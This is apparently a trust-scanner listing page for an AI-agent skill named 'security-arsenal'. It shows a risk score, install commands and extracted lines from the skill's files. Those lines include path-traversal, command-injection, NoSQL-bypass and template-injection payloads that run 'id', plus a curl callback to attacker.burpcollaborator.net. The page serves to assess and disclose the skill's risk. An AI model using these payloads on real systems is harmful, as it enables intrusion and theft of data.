← All skills
security-arsenal
92 / 100 · Low risk
Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By boisenoise/skills-collections (GitHub) · security · 12 stars · scanned at commit 419c39f
Security payloads, bypass tables, wordlists, gf pattern names, always-rejected
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 17 places.
Show 14 more
- skills/antigravity-security-arsenal/SKILL.md, line 241
../../../etc/passwd - skills/antigravity-security-arsenal/SKILL.md, line 257
GET /api/user/123/profile → GET /api/user/124/profile - skills/antigravity-security-arsenal/SKILL.md, line 275
POST /api/user/update - skills/antigravity-security-arsenal/SKILL.md, line 296
import base64, json - skills/antigravity-security-arsenal/SKILL.md, line 308
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z - skills/antigravity-security-arsenal/SKILL.md, line 332
/login?username[$ne]=null&password[$ne]=null - skills/antigravity-security-arsenal/SKILL.md, line 345
curl -s -X POST https://target.com/api/login \ - skills/antigravity-security-arsenal/SKILL.md, line 359
; id - skills/antigravity-security-arsenal/SKILL.md, line 373
; curl https://attacker.burpcollaborator.net - skills/antigravity-security-arsenal/SKILL.md, line 383
;{cat,/etc/passwd} - skills/antigravity-security-arsenal/SKILL.md, line 407
test.jpg; id - skills/antigravity-security-arsenal/SKILL.md, line 446
cat scope.txt # target list from the authorized engagement brief - skills/antigravity-security-arsenal/references/details.md, line 24
{{''.__class__.__mro__[1].__subclasses__()[396] ('id',shell=True,stdout=-1).communicate()[0].strip()}} - skills/antigravity-security-arsenal/references/details.md, line 54
<%= process.mainModule.require('child_process').execSync('id') %>
Sends data to these websites: target.com, attacker.burpcollaborator.net, authorized-canary.example, attacker.com, target
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 9 places.
Show 6 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'security-arsenal' ] || [ -L ~/.agents/skills/'security-arsenal' ]; then echo 'A skill folder named security-arsenal already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/boisenoise/skills-collections' "$d" && git -C "$d" checkout --quiet '419c39fde874b8baecbb36a397b967e0190a2ece' -- 'skills/antigravity-security-arsenal' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/antigravity-security-arsenal' ~/.agents/skills/'security-arsenal' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'security-arsenal' ~/.claude/skills/'security-arsenal' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for boisenoise/skills-collections shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/boisenoise/skills-collections/)
Score history
| Date | Version | Score |
|---|
| 2026-11-12 | 419c39f | 92 |
| 2026-11-08 | 5fe45e5 | 92 |
| 2026-11-06 | b89b2f5 | 92 |